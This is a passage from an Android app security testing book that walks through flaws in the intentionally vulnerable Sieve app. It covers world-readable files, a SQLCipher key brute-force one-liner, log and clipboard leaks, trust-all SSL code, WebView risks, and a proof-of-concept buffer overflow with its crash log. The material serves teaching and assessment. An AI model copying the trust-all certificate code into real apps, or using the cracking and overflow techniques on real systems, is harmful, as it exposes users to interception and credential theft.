Note that a file was created with the file permissions 600. On an Android 2.3 device, the same test was performed with the following results:
$ echo test > test
$ ls -l test
-rw-rw-rw- app_109 app_109 5 2000-01-01 00:15 test
This shows the difference in the default umask between Android versions. This also shows that files written by an application to its private data directory without your explicitly setting file permissions could expose these files to other applications when they run on older devices.
When you assess an application, access the private data directory using a privileged shell and check all file and folder permissions. In addition to this, review the code that handles this file write in order to understand whether differences will exist in the file permissions between Android versions.
An interesting thing to note about world readable files is that their accessibility to other applications depends on the permissions of the folder they reside in as well. They will be accessible to other non-privileged applications only if the folder they reside in is world executable. To let you observe this in action, in the following example we slightly modify the database.db
file inside the Sieve application directory to make it world readable:
root@generic:/data/data/com.mwr.example.sieve/databases # chmod 777
database.db
root@generic:/data/data/com.mwr.example.sieve/databases # ls -l
-rwxrwxrwx u0_a53 u0_a53 24576 2014-07-23 16:40 database.db
-rw------- u0_a53 u0_a53 12824 2014-07-23 16:40 database.db-journal
These permissions make this file accessible from drozer:
u0_a65@generic:/data/data/com.mwr.dz $ ls -l /data/data/com.mwr.example.
sieve/databases/database.db
-rwxrwxrwx u0_a53 u0_a53 24576 2014-07-23 16:40 database.db
This is accessible because the databases
folder is world executable:
root@generic:/data/data/com.mwr.example.sieve # ls -l
drwxrwx--x u0_a53 u0_a53 2014-07-23 16:38 cache
drwxrwx--x u0_a53 u0_a53 2014-07-23 16:38 databases
lrwxrwxrwx install install 2014-07-31 18:00 lib -> /data/
app-lib/com.mwr.example.sieve-1
If we remove this attribute using chmod 770 databases
and attempt to access this file from drozer again, it is not possible even though the file itself is world readable:
u0_a65@generic:/data/data/com.mwr.dz $ ls -l /data/data/com.mwr.example.
sieve/databases/database.db
/data/data/com.mwr.example.sieve/databases/database.db: Permission
denied
This is because a directory can only be entered if it is executable for the caller that is attempting to enter it. If you are unsure, one of the easiest ways to test whether a file is actually exposed from another application is to try to cat
it from a shell in drozer.
Developers who want to ensure a defense-in-depth approach to security will often encrypt any files that they store on disk. Even though files placed in an application’s private data directory should not be accessible to other applications or users, other vulnerabilities may expose them. Previous sections in this chapter have shown many ways that an application developer may inadvertently expose files stored in their private data directory.
Encrypting these files is the solution to this problem and ensures that even if an attacker can get to these files that he cannot decrypt them. However, you must consider some practical issues with encrypting files, such as where do you store the key? Application developers can be inclined to hard-code the encryption key in source code. However, this is never an acceptable solution as you have seen how easily an attacker could decompile an application and read the source code in search of the key. A popular way that developers encrypt their application’s SQLite databases is using SQLCipher (see http://sqlcipher.net/
). The key can normally be observed in the openOrCreateDatabase()
function in the source. The example from the project’s website is as follows:
SQLiteDatabase database = SQLiteDatabase.openOrCreateDatabase(
databaseFile, "test123", null);
Finding this function might lead you directly to the database password or you may have to trace where the input of the password is coming from.
This is why examining the source code that involves writing a file to disk and then tracing it back to what classes call that functionality is important. This function tracing exercise will lead you to finding how the data is handled and encrypted. An anonymous user placed an amusing bash shell one-liner on Pastebin that can be used to try to crack a database that uses SQLCipher. It is a completely blunt approach that could work if an application is storing the password as a string inside the application. It is given here:
$ for pass in 'strings classes.dex'; do echo -n "[*] '$pass' ...";
C='sqlcipher encrypted.db "PRAGMA key='$pass';select * from
sqlite_master;"'; echo $C; done
This one-liner goes through all the strings discovered in the application’s classes.dex
file and attempts to open encrypted.db
by using the string as a password for the database. This is a cheeky little trick that just may work.
On a rooted device you may also be able to simply hook the encryption key as it is used at runtime using a Cydia Substrate tweak, which is discussed later in this chapter. However, a practical example on how to do this appears on the MDSec blog (http://blog.mdsec.co.uk/2014/02/hooking-sqlcipher-crypto-keys-with.html
).
Chapter 9 provides more information on recommended ways to encrypt files.
Android devices can handle built-in SD card storage as well as external ones that can be inserted into devices. The permissions pertaining to the reading and writing to these SD cards was originally implemented asymmetrically. Specifically, applications required the android.permission.WRITE_EXTERNAL_STORAGE
permission in order to write to the SD cards but no permission whatsoever to read from them. This is because typically SD cards are formatted FAT32 for cross-compatibility with different operating systems, and FAT32 is not a UID-aware filesystem.
Applications may write all kinds of information to the SD card that may be of interest to an attacker. Some applications that generate large databases have been found to split them and make backups to the SD card.
You find the internal SD card mounted in the /sdcard/
directory, and if an external SD card is present it may exist in one of a few places. This location is unfortunately not controlled by the Android project but rather the device manufacturer. Two common locations of the external SD card are:
/sdcard/external_sd
/sdcard/ext_sd
Android 4.1 introduced a new permission for reading from the SD card defined as android.permission.READ_EXTERNAL_STORAGE
. This was set as optional in the initial Android 4.1 release of this feature. However, this permission was enforced in Android 4.4, meaning that any application not explicitly requesting this permission would not be able to read the SD card. This means that any application that writes files to the SD card is exposing these files on all devices running Android 4.3 and earlier.
As an example of this, Sieve has a menu option to save the database onto the SD card. It is labelled as “Backup to SD card.” When the user selects this option, a file is written to the SD card under /sdcard/Android/data/com.mwr.example .sieve/files
, which is shown here:
shell@android:/sdcard/Android/data/com.mwr.example.sieve/files $ ls -l
-rw-rw-r-- root sdcard_rw 173 2014-05-27 18:16 Backup (2014-05-
27 18-16-14.874).xml
Note this file’s permissions—in particular, the world readable attribute. This means that the possibility exists for an unprivileged application like drozer to read this file:
u0_a65@android:/data/data/com.mwr.dz $ cat /sdcard/Android/data/com.mwr
.example.sieve/files/Backup*
<Passwords Key="Thisismylongpassword123" Pin="1234"><entry><service>Gmai
l</service><username>tyrone</username><email>Gmail</email><password>pass
word123</password></entry></Passwords>
Attempting to read this same file on an Android 4.4 device results in a permission denial error because the drozer agent that requested it did not hold the android.permission.READ_EXTERNAL_STORAGE
permission.
Developers need logging functionality that they can use during development for debugging purposes. Android provides a class named Log
that can be used from within an application to place values in a central log. These logs are accessible from ADB using the following command:
$ adb logcat
Applications with the READ_LOGS
permission also have access to these logs. On versions of Android prior to 4.1, an application could request this permission and have access to log entries from all applications. Examining a set of Play Store applications quickly yields applications that log sensitive information; for example, credentials typed into a login form when registering the application.
Since Android 4.1, the protection level on READ_LOGS
was changed to signature|system|development
. This is so that no third-party application can obtain this permission and some system applications can access this permission. The development protection level means that an application can request this permission and it will be denied upon installation. However, you can enable it from ADB using the following command:
root@generic:/ # pm grant com.logging.app android.permission.READ_LOGS
Sieve contains logging vulnerabilities because it writes the entered database password and PIN to the log when they are entered by the user. You can see the following two entries in logcat
when the user enters the password and pin, respectively:
D/m_MainLogin(10351): String entered: Thisismylongpassword123
...
D/m_ShortLogin( 4729): user has entered a pin: 1234
A malicious application that has the READ_LOGS
permission, on a version of Android where this is possible, can catch these entries.
Applications may use other means of logging instead of the Log
class, such as writing to a file. In this case, you would need to review the custom logging mechanism in source code and understand the exposure of this file. Understanding where the log file is being stored and its file permissions is important in assessing its exposure to other applications. Storing log files on the SD card in cleartext would almost certainly be a bad idea.
The power and functionality of most applications come from sending and receiving information from services on the Internet. Installed applications provide users with rich native user interfaces that outperform the use of web browsers on devices. Developers often design their applications to make use of HTTP/HTTPS in order to easily integrate into existing infrastructure. However, the way that they implement this inside applications is often less secure than web browsers and can contain typical mistakes. In some cases an application may also make use of other communication protocols. This section explores commonly discovered flaws in communication mechanisms.
The best way to assess which web servers an application is communicating with on the Internet is to set up an intercepting proxy. An intercepting proxy allows you to see the entire contents of web traffic passing between the application and the Internet and also allows the modification of requests and responses.
A number of intercepting proxies are available; however, the most widely used (for a good reason) is Burp Suite (see http://portswigger.net/burp/
). A free version is available that provides basic intercepting, replaying, and spidering functionality; a paid-for professional version provides a whole suite of functionality that is useful for assessing web applications.
To start a Burp proxy, open Burp and go to the Proxy tab. Click on the Options sub-tab and add a new listener. Select the port that you want the proxy to listen on and bind it to all interfaces. The default value is to bind the proxy to the loopback address 127.0.0.1 only. Binding to the loopback address will not work for proxying an actual device’s traffic on the same wireless LAN because the port will not be exposed to the wireless interface. After you have added these options, click OK and tick the checkbox of the newly created proxy in the Running column. Confirm you have a new listener with this one-liner on your computer:
$ netstat -an | grep 8080
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN
You now have a listener that you can use as a proxy on your mobile device. This setup presumes that your computer and Android device are on the same wireless network. Go to Settings Wi-Fi and long-click on your connected hotspot. The option to modify the network configuration appears. In this activity under Show Advanced Options is the option to add a proxy. The hostname of the proxy should be the IP address of your computer and the port the same as the listener. After you save these settings, all web traffic on the device will make use of your Burp proxy. Remember to allow this port through on your computer’s firewall.
To set up a proxy on an emulator, change the proxy of the mobile network Access Point Name (APN). This option exists in Settings More Wireless & Networks Mobile Networks Access Point Names. Select the default APN in the list and change its “proxy” parameter to 10.0.2.2 and the “port” parameter to the same as the Burp listener port to allow the proxying of these apps. Other ways to do this exist, but this one is the most reliable across all Android versions.
Burp should immediately catch any cleartext web requests that an application uses if you’ve configured the proxy correctly. Intercepting and modifying content in both directions in a manual and automated fashion is also possible in Burp. Take some time and get comfortable with Burp, because it is an invaluable tool when assessing most applications.
When proxying an application, you might find that you cannot see any of the web traffic even though you know that requests are being made. This is probably because they are making use of HTTPS, and proxying it through Burp is making the SSL validation checks fail. You can most often see these error messages in logcat
output with javax.net.ssl.SSLHandshakeException
exceptions shown with messages like “Trust anchor for certification path not found.” This is because the Burp CA is not trusted on the device.
For testing purposes, you need to install your Burp Certificate Authority (CA) on your device. Do this by going to the Proxy Options CA Certificate and then exporting the certificate in DER format with a filename of burp.crt
.
To push this file to the device’s SD card, use ADB as follows:
$ adb push burp.crt /sdcard/
To install the certificate from the SD card, go to Settings Security Install from SD card. An application may also require that the correct common name is in use on the certificate. To make sure that this is set up properly in Burp, go to the Proxy Options Edit Certificate tab, which contains a Generate CA-Signed Per-host Certificate option that should work most of the time. However, if you know the name of the domain it will be accessing you can enter it manually in the Generate a CA-signed Certificate With a Specific Hostname option. After you get all of this set up correctly, the application should be proxying HTTPS traffic through Burp.
If you are certain that the application is making use of HTTPS and no amount of configuration is allowing you to proxy traffic, you may be dealing with an application that implements a form of certificate pinning. This is when features of the SSL certificate presented by the server are checked for certain attributes or checked against a stored version of the certificate. This protects against the scenario where a trusted CA on the device has been compromised and an attacker has issued a fraudulent certificate for the domain used by the application. When implemented properly, this situation can be difficult to deal with and bypassing it depends on the implementation. For information on how to defeat SSL certificate pinning in a testing environment, refer to the “Additional Testing Techniques” section later in this chapter.
Sometimes when proxying an application, you will immediately see HTTPS traffic without installing the Burp CA certificate on the device. How did this happen? This is unfortunately a result of the common trade-off between security and usability. Developing an application that uses SSL in a development environment tends to lead developers to using testing certificates that are self-signed or invalid in some other way. This causes problems and throws errors that do not allow the SSL connection to be established by the application. This means that many developers look to disable the checking of certificates in the code. You can weaken various checks in the SSL negotiation process for convenience’ sake; each is presented in the following sections.
The following code disables the check that is performed when matching the expected hostname to the one presented in the server’s certificate as the Common Name (CN):
final static HostnameVerifier NO_VERIFY = new HostnameVerifier()
{
public boolean verify(String hostname, SSLSession session)
{
return true;
}
};
A built-in HostnameVerifier
also performs this task. The same code as our preceding custom implemented code can be done by using the following built-in HostNameVerifier
that always returns true:
HostnameVerifier NO_VERIFY = org.apache.http.conn.ssl.SSLSocketFactory
.ALLOW_ALL_HOSTNAME_VERIFIER;
You can use these HostnameVerifier
s in the setHostnameVerifier()
method. Here is a possible implementation that could use these verifiers:
URL url = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) url.openConnection();
conn.setHostnameVerifier(NO_VERIFY);
You can also set it statically for all HttpsURLConnection
code inside the entire application by using the following:
HttpsURLConnection.setDefaultHostnameVerifier(NO_VERIFY);
The TrustManager
’s job is to ensure that the information provided by the server matches conditions deemed acceptable to establish a trusted connection. The following code completely nullifies this check:
TrustManager[] trustAllCerts = new TrustManager[] {
new X509TrustManager()
{
public java.security.cert.X509Certificate[] getAcceptedIssuers()
{
return new java.security.cert.X509Certificate[] {};
}
public void checkClientTrusted(X509Certificate[] chain,
String authType) throws CertificateException
{
}
public void checkServerTrusted(X509Certificate[] chain,
String authType) throws CertificateException
{
}
}};
context.init(null, trustAllCerts, new SecureRandom());
All of these solutions have come from development forums and gotten responses like “I could KISS you...except I won’t. You’ve saved me with this code!” and “Thank you, thank you, thank you.”
The problem with solutions of this nature is that an attacker who is positioned to intercept traffic from an application could simply replace the certificate with his own, and the application will accept it. The attacker can then read the contents of the traffic through his malicious proxy as if it were cleartext. Reading the portion of code of your target application that handles connections to web servers will provide insight into whether they are performing verification of the certificate or allowing any certificate as shown in the earlier code. You could also simply attempt to proxy the application blindly and observe what happens.
Sieve uses an HTTPS connection to allow the user to back up its database to an Internet server or retrieve it. This in itself is not good security practice, as the contents of the database are not encrypted in any way. However, upon closer inspection of the SSL code, you can see that the developer has completely nullified the SSL validity checks as well. This was done by using an X509TrustManager
that performs no checks at all. The following snippet shows the offending code from the getNewHttpConnection
method in the NetBackupHandler
class:
X509TrustManager local1 = new X509TrustManager()
{
public void checkClientTrusted(X509Certificate[]
paramAnonymousArrayOfX509Certificate,
String paramAnonymousString)
throws CertificateException { }
public void checkServerTrusted(X509Certificate[]
paramAnonymousArrayOfX509Certificate,
String paramAnonymousString)
throws CertificateException { }
public X509Certificate[] getAcceptedIssuers()
{
return null;
}
};
When you use the functionality that invokes this code and requests are made through the Burp proxy, you can see the HTTPS requests. The traffic displays in Burp even when the Burp CA is not installed on the device. This means that any network attacker that is able to intercept these requests to the server will be able to retrieve the contents of the user’s password database. Chapter 8 presents practical attacks against poor SSL validation that can be performed from a network.
A WebView
is an embeddable application element that allows web pages to be rendered within an application. It makes use of web rendering engines for the loading of web pages and provides browser-like functionality. Prior to Android 4.4 it made use of the WebKit (see https://www.webkit.org/
) rendering engine; however, it has since been changed to use Chromium (see http://www.chromium.org
).
The most important difference between handling pages in a web browser or in a WebView
is that a WebView
still runs within the context of the application that it is embedded in. Furthermore, a WebView
provides a whole host of hooks that allow the parent application to change its behavior at runtime and catch certain events when loading pages. You must consider many security aspects when assessing a WebView
. The most important aspect to look at is where a WebView
is able to load its content from. Loading cleartext content is the single biggest mistake that can be made when implementing a WebView
, because this opens it up to various forms of abuse from Man-in-the-Middle (MitM) attacks such as ARP poisoning.
Similarly to native code, ignoring SSL errors when loading content is possible. A callback can be overridden in the WebViewClient
class that handles SSL errors and is named onReceivedSslError
. This callback by default cancels the loading of the page if the SSL certificate failed one of the checks performed on it and was found to be invalid. Developers may not be able to meet these conditions during development and may choose to override the check instead. This could look as follows:
@Override
public void onReceivedSslError(WebView view, SslErrorHandler handler,
SslError error)
{
handler.proceed();
}
This code tells the WebViewClient
to proceed whenever an SSL error occurs, which completely defeats the point of having SSL in the first place. This means that the possibility exists to perform a MitM attack against this application—present a different certificate to it and it would be accepted, effectively allowing the attacker to read or completely change the content being displayed to the user.
What the attacker’s code would be able to do depends on the configuration of the WebView
. To obtain the configuration for each WebView
invoke the following:
WebSettings settings = webView.getWebSettings();
You can also use the WebSettings
class to change the configuration of the WebView
. Table 7.2 shows the available settings to change.
Table 7.2 Configuration options available in the WebSettings class that pertain to security
METHOD | DEFAULT VALUE | IMPLICATION OF BEING ENABLED |
setAllowContent Access |
true |
WebView has access to content providers on the system. |
setAllowFileAccess |
true |
Allows a WebView to load content from the filesystem using file:// scheme. |
setAllowFileAccessFromFileURLs |
true (<= API 15) false (>= API 16) |
Allows the HTML file that was loaded using file:// scheme to access other files on the filesystem. |
setAllowUniversalAccessFromFileURLs |
true (<= API 15)false (>= API 16) |
Allows the HTML file that was loaded using file:// to access content from any origin (including other files). |
setJavaScriptEnabled |
false |
Allows the WebView to execute JavaScript. |
setPluginState (deprecated in API 18) |
PluginState.OFF |
Allows the loading of plug-ins (for example, Flash) inside the WebView . This could in some cases even be used to load a malicious plug-in (see Google Bug #13678484 aka “Fake ID Vulnerability”). |
setSavePassword (deprecated in API 18) |
true |
The WebView will save passwords entered. |
The most accessible way for an attacker to exploit a WebView
is if it is loading cleartext content from the Internet, because an attacker could make use of traffic interception techniques to modify the responses back from the server. An attacker could at this point include arbitrary code that renders inside the WebView
and has the same level of access as the original content. This means that what an attacker would be able to do is heavily dependent on the configuration of the particular WebView
.
Other applications on the same device could also exploit a WebView
if an application component exposes it in some way. For instance, if receiving an intent on an exported component causes the instantiation of a WebView
that opens a URL that was provided as an extra in the intent sent by the other application, then a valid code path exists to attack the WebView
. An excellent example of such a scenario is provided at https://www.securecoding.cert.org/confluence/display/java/
. Here is a slightly modified version of this example:
public class MyBrowser extends Activity
{
@override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
WebView webView = (WebView) findViewById(R.id.webview);
WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true);
settings.setAllowUniversalAccessFromFileURLs(true);
String turl = getIntent().getStringExtra("URL");
webView.loadUrl(turl);
}
}
A malicious application could send an intent with an extra containing a URI such as file:///data/data/com.malicious.app/exploit.html
. For this URI to load, the malicious application would have to make the exploit.html
file in its private data directory world readable. This technique would work because a WebView
by default allows the loading of local files. In conjunction with the setAllowUniversalAccessFromFileURLs
option set to true in the code, this scenario allows an attacker to load malicious code inside this WebView
and use it to steal files and transmit them to an Internet server.
A feature of the WebView
class that came under heavy scrutiny in 2013 was the ability to add JavaScript interfaces to a WebView
. These interfaces allow the bridging of JavaScript that is loaded inside a WebView
to actual Java code in the application. This allows for a much more feature-rich experience because normal JavaScript loaded from a website then has the ability to invoke any code specified inside the application. Depending on the permissions of the application containing the WebView
, this could literally be any code the developer wanted; for example, code that reads all SMS messages or performs recordings from the microphone. This is why looking for such features when assessing an application that implements a WebView
is important. Adding a so-called “bridge” between JavaScript and Java code can be done using the addJavascriptInterface
method on the WebView
. Here is a simple example of implementing a JavaScriptInterface
:
/* Java code */
class JavaScriptObj
{
@JavascriptInterface
public String hello()
{
return "I am from Java code";
}
}
webView.addJavascriptInterface(new JavaScriptObj(), "jsvar");
String content = "<html><script>alert(jsvar.hello());</script></html>";
webView.loadData(content, "text/html", null);
The preceding code loads a page that pops up an alert containing the response from the hello()
method, thereby adding a bridge from native Java code into a JavaScript variable named jsvar
.
Now consider the scenario where an application allowed the retrieval of SMS messages or the initiation of phone calls from the bridge. If an attacker could find a way to inject his own code into the WebView
, he would be able to invoke this functionality and abuse these bridged functions for evil purposes. You would have to determine the impact of exploiting a bridge after reading the relevant code of your target application.
When assessing an application, finding any code that makes use of a WebView
is important, especially when it makes use of a JavaScript bridge. Finding this functionality is as simple as searching for keywords such as WebView or addJavaScriptInterface inside the application.
Applications could implement a plethora of techniques for communicating with other applications on the same device or Internet servers. In general, you must assess the implementation of these techniques on a case-by-case basis. This section provides some information about communication mechanisms that the author has discovered while assessing applications.
The Android clipboard works in a similar way to clipboards on a desktop operating system. A global clipboard is used by all applications on a device and this value can be read and altered by any application. In contradiction to some other aspects of Android, no permission is required to read or write to the clipboard.
As such, any data that is placed on the clipboard can be read by any application. The ClipboardManager
class handles reads and writes to the clipboard (see http://developer.android.com/reference/android/content/ClipboardManager.html
). Beginning with Android 3.0 a method was added to the ClipboardManager
that allows callback events to be registered when the “primary clip” is changed.
It goes without saying that an attacker who has a malicious application installed on a device could register a callback and read anything that is on the clipboard. This makes it completely insecure as a means of communicating between applications because the data on the clipboard can be considered publicly accessible by all applications.
A malicious application that is reading from the clipboard may find it especially fruitful when the user of the device is making use of a password manager. This is because whenever the user copies a password into the clipboard it would cause an event on the malicious application that retrieves the value. The Sieve application allows its users to copy passwords to the clipboard by clicking on one of the stored user accounts in the list. One of drozer’s post-exploitation modules allows a user to read the clipboard. You install it by running module install clipboard
. After clicking on a service in the list in Sieve and then running the newly installed module, you see the user’s password:
dz> run post.capture.clipboard
[*] Clipboard value: password123
Setting the clipboard content from any application is also possible, as demonstrated in drozer:
dz> run post.perform.setclipboard mahh123
[*] Clipboard value set: mahh123
dz> run post.capture.clipboard
[*] Clipboard value: mahh123
When assessing an application that makes use of the clipboard for any reason, consider the attacks previously discussed to see whether the potential for abuse exists. It would be especially interesting if an application is reading values from the clipboard that is used inside the code. Tracing this path in the source code may lead to the discovery of other vulnerabilities that are exposed because of this entry point of untrusted user input.
Applications may use sockets (whether they are TCP, UDP, or UNIX) to share information between applications or components of the same application. The problem with this approach is that it provides much less structure for security than the APIs that the Android OS provides. For instance, look at an example where an application opens a TCP socket on port 5555 and binds it to 127.0.0.1. This looks as follows when you perform a netstat
:
$ adb shell netstat -antp
Proto Recv-Q Send-Q Local Address Foreign Address State
...
tcp 0 0 127.0.0.1:5555 0.0.0.0:* LISTEN
...
Even though other computers on the network cannot reach this port, applications on the same device can. This method in itself does not provide any form of authentication because any application can initiate a connection with this listener.
An Android application can be designed to communicate with other hosts using a number of protocols. Proxying an application through a tool like Burp can only help uncover and test web traffic. Identifying which protocol is in use by an application can be tricky and you often must perform manual inspection of the code. Another way is to observe which host is being communicated with by using tcpdump
on a rooted device or emulator. Starting tcpdump
and then opening the target application creates a packet dump. You can then inspect the packet dump using Wireshark (see http://www.wireshark.org/
) to discover the protocol and host being communicated with. You can obtain the compiled tcpdump
binary from any Android emulator at /system/xbin/tcpdump
or compile the source from http://www.tcpdump.org/
. Running tcpdump
and writing the output to a file looks as follows:
root@generic:/ # tcpdump -w /data/local/tmp/dump.cap
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96
bytes
^C260 packets captured
261 packets received by filter
0 packets dropped by kernel
However, when you pull this file from the emulator and open it in Wireshark, the error shown in Figure 7.13 appears.
This happened because all packets are truncated by default to 96 bytes by tcpdump
because this keeps the output file small. To see entire packets and their contents you would need to instruct tcpdump
to use the maximum available size, which is 65,535 bytes. To do so, add a -s 0
to the tcpdump
command. Following is the command to ensure a full packet capture:
root@generic:/ # tcpdump -s 0 -w /data/local/tmp/dump.cap
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size
65535 bytes
^C14 packets captured
15 packets received by filter
0 packets dropped by kernel
A nice trick to be able to see live packet captures on an Android device in real time is to use network redirection techniques to pipe the output of tcpdump
directly into Wireshark. To do this on an emulator, follow these steps:
Start tcpdump and forward output to a listening port.
$ adb shell "tcpdump -s 0 -w - | nc -l -p 4444"
Forward the port using ADB.
$ adb forward tcp:4444 tcp:4444
Connect to the port and pipe the output to Wireshark.
$ nc localhost 4444 | sudo wireshark -k -S -i -
After you have identified the traffic being sent and received by your application, you will be in a better position to locate the relevant source. Indicators like the port in use by the communications, the IP address, or DNS name would all be good starting points for searching through the source code and finding the supporting code.
After discovering the relevant classes that are making the connections, you can assess them. Some applications may implement custom TCP protocols that you would need to manipulate. You can use tools like Canape (see http://www.contextis.com/services/research/canape/
) and Mallory (see https://intrepidusgroup.com/insight/mallory/
) to intercept and modify TCP or UDP traffic for custom protocols. This does not mean that these tools are automatic; and they are often tricky to get running correctly. You still need a solid understanding of the code in order to build a proper testing environment using these tools. A technique you can use on a device or emulator to trick it to connecting to a transparent proxy provided by these tools is to add a DNS entry that is used by the application. If an application is connecting to a TCP port on an Internet-facing server and it is using DNS to resolve the IP address, then you may be in luck. By editing the HOSTS file found at /system/etc/hosts
, you can trick the application into connecting to your transparent proxy by setting the DNS name that is queried by the application to your computer’s IP address.
This section presents the exploitation of native C/C++ code within Android applications as well as package misconfigurations that can lead to the compromise of an application.
Android applications can include native code that is written in C/C++ and make use of the Java Native Interface (JNI) to interact with these libraries from Java. It is no secret that native code can contain many problems and is difficult to secure. This means that any input into native code on Android introduces the potential for an attacker to exploit a vulnerability and take control of the process to execute arbitrary code.
Native code could be used at any point in an application and so you would have to discover calls to native functions inside the application code. Strings that you can search inside decompiled code that would indicate the declaration or use of a native library are System.loadLibrary
, System.load
or the native
keyword. The library being specified by System.loadLibrary
needs to be included inside the APK under the /lib
folder. A library loaded by System.load
can be anywhere on the filesystem, as long as it is accessible and executable by the application.
To find out what a native library is doing without having the application’s source code, you would have to reverse engineer the library using a tool like IDA (see https://www.hex-rays.com/products/ida/
). You should audit these libraries for common vulnerabilities found in C/C++ applications. Multiple publications and many other resources are available on finding vulnerabilities that allow for the execution of arbitrary code. Therefore, this chapter does not delve into any of these issues. Applications could also contain third-party libraries, such as OpenSSL. During the timespan available in a normal assessment of an application, trying to find new vulnerabilities in a large third-party library would likely not be feasible. Instead, find the version of the library in use by searching for indicators in IDA, or using another known way to find it that is unique to the library. Finding the version in use and searching on the Internet could lead to the discovery of already-disclosed vulnerabilities for that version. Vulnerabilities in these components could perhaps be used as an attack path into the application.
The Sieve application contains two custom libraries that are used for the encryption and decryption of passwords stored in the password manager. The names of these libraries are libencrypt.so and libdecrypt.so. You can see these libraries being loaded inside CryptoService.java
and their available functions defined:
static
{
System.loadLibrary("encrypt");
System.loadLibrary("decrypt");
}
...
private native String runNDKdecrypt(String paramString,
byte[] paramArrayOfByte);
private native byte[] runNDKencrypt(String paramString1,
String paramString2);
Tracing these functions back to where they are used inside the Sieve application reveals a path into this code that accepts user input. Particularly, it is used by the exposed CryptoService
service. This means that parameters that can be passed directly into this code have the potential to exploit vulnerabilities in the native code.
The only aspect missing to make this a complete attack vector is a vulnerability in one of these native functions. Let us examine libencrypt.so and attempt to find exploitable vulnerabilities. Figure 7.14 shows loading this file into IDA (even the free version supports ARM).
Looking for the runNDKencrypt
function reveals that it has been named Java_com_mwr_example_sieve_CryptoService_runNDKencrypt
in IDA. Click this function and press the spacebar key to put IDA into graph mode, which may be easier for visualizing the flow of the code. Careful inspection reveals a vulnerable memcpy
implementation in the code. Finding the exact disassembly that shows this vulnerability will be left as an exercise for you. Instead we translate this back to C++ code and examine it further from there:
const char* key_userinput = (*env)->GetStringUTFChars(env, jkey, 0);
int key_len = strlen(key_userinput);
uint32_t key[4];
memcpy(key, key_userinput, sizeof(char) * key_len);
The vulnerability in the previous code is that user input is used inside the memcpy
operation, and the length of the user input is used to determine how many bytes to copy into the key
variable. If the user provides a key length of anything more than 4, a buffer overflow occurs. The vulnerable code can be reached by interacting with the exported CryptoService
examined earlier in this chapter. You can see a proof of concept that triggers this vulnerability by sending an overly long com.mwr.example.sieve.KEY
extra to the CryptoService
:
dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve
.CryptoService --msg 3452 2 3 --extra string com.mwr.example.sieve.KEY
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzAAAAzzzz
--extra string com.mwr.example.sieve.STRING "string to be encrypted"
--bundle-as-obj
Did not receive a reply from
com.mwr.example.sieve/com.mwr.example.sieve.CryptoService.
Viewing what happens in logcat
reveals the following:
F/libc ( 5196): Fatal signal 11 (SIGSEGV) at 0x41414141 (code=1),
thread 5209 (m_CryptoService)
I/DEBUG ( 49): *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG ( 49): Build fingerprint: 'generic/sdk/generic:4.4.2/KK/9380
07:eng/test-keys'
I/DEBUG ( 49): Revision: '0'
I/DEBUG ( 49): pid: 5196, tid: 5209, name: m_CryptoService >>>
com.mwr.example.sieve:remote <<<
I/DEBUG ( 49): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr
41414141
I/DEBUG ( 49): r0 b807bb68 r1 a8db7a0e r2 ffffffee r3
41414141
I/DEBUG ( 49): r4 b5b09e01 r5 00000004 r6 00000000 r7
a8db7a30
I/DEBUG ( 49): r8 a8db7a28 r9 abb9ded0 sl b807b158 fp
a8db7adc
I/DEBUG ( 49): ip 80000000 sp a8db79e0 lr a8e41f07 pc
a8e41f08 cpsr 60000030
I/DEBUG ( 49): d0 3f80000040000000 d1 3f50624d40000000
I/DEBUG ( 49): d2 7e37e43c8800759c d3 7e37e43c8800759c
I/DEBUG ( 49): d4 8000000000000000 d5 3f40000042810000
I/DEBUG ( 49): d6 3fc999999999999a d7 3f80000000000000
I/DEBUG ( 49): d8 0000000000000000 d9 0000000000000000
I/DEBUG ( 49): d10 0000000000000000 d11 0000000000000000
I/DEBUG ( 49): d12 0000000000000000 d13 0000000000000000
I/DEBUG ( 49): d14 0000000000000000 d15 0000000000000000
I/DEBUG ( 49): scr 60000010
I/DEBUG ( 49):
I/DEBUG ( 49): backtrace:
I/DEBUG ( 49): #00 pc 00000f08 /data/app-lib/com.mwr.example
.sieve-1/libencrypt.so (Java_com_mwr_example_sieve_CryptoService_
runNDKencrypt+531)
...
I/DEBUG ( 49): a8db7a0c d8dc5d7b
I/DEBUG ( 49): a8db7a10 b5b09e01 /system/lib/libdvm.so
I/DEBUG ( 49): a8db7a14 b807b148 [heap]
I/DEBUG ( 49): a8db7a18 7a7a7a7a
I/DEBUG ( 49): a8db7a1c 7a7a7a7a
I/DEBUG ( 49): ........ ........
I/DEBUG ( 49): #01 a8db7ac8 abb9decc
I/DEBUG ( 49): a8db7acc 00000001
...
I/DEBUG ( 49): memory near r0:
I/DEBUG ( 49): b807bb48 00000000 00000000 00000000 00000000
I/DEBUG ( 49): b807bb58 00000000 00000000 00000000 0000003b
I/DEBUG ( 49): b807bb68 a0c58026 3dd0d7d5 a8c9c62c 1c7c59bb
I/DEBUG ( 49): b807bb78 c7920389 0021b22f fbb2801a 4884621f
I/DEBUG ( 49): b807bb88 c54c3f0a 6c005d7b 00000065 00000000
I/DEBUG ( 49): b807bb98 00000038 0000003b 00000000 00000000
I/DEBUG ( 49): b807bba8 00000000 00000000 00000000 00000000
I/DEBUG ( 49): b807bbb8 00000000 00000000 00000000 00010001
I/DEBUG ( 49): b807bbc8 00000000 0000001a 646e614c 00000073
I/DEBUG ( 49): b807bbd8 7a7a7a7a 7a7a7a7a 7a7a7a7a 7a7a7a7a
I/DEBUG ( 49): b807bbe8 7a7a7a7a 7a7a7a7a 7a7a7a7a 7a7a7a7a
I/DEBUG ( 49): b807bbf8 7a7a7a7a 7a7a7a7a 7a7a7a7a 7a7a7a7a
I/DEBUG ( 49): b807bc08 7a7a7a7a 7a7a7a7a 7a7a7a7a 7a7a7a7a
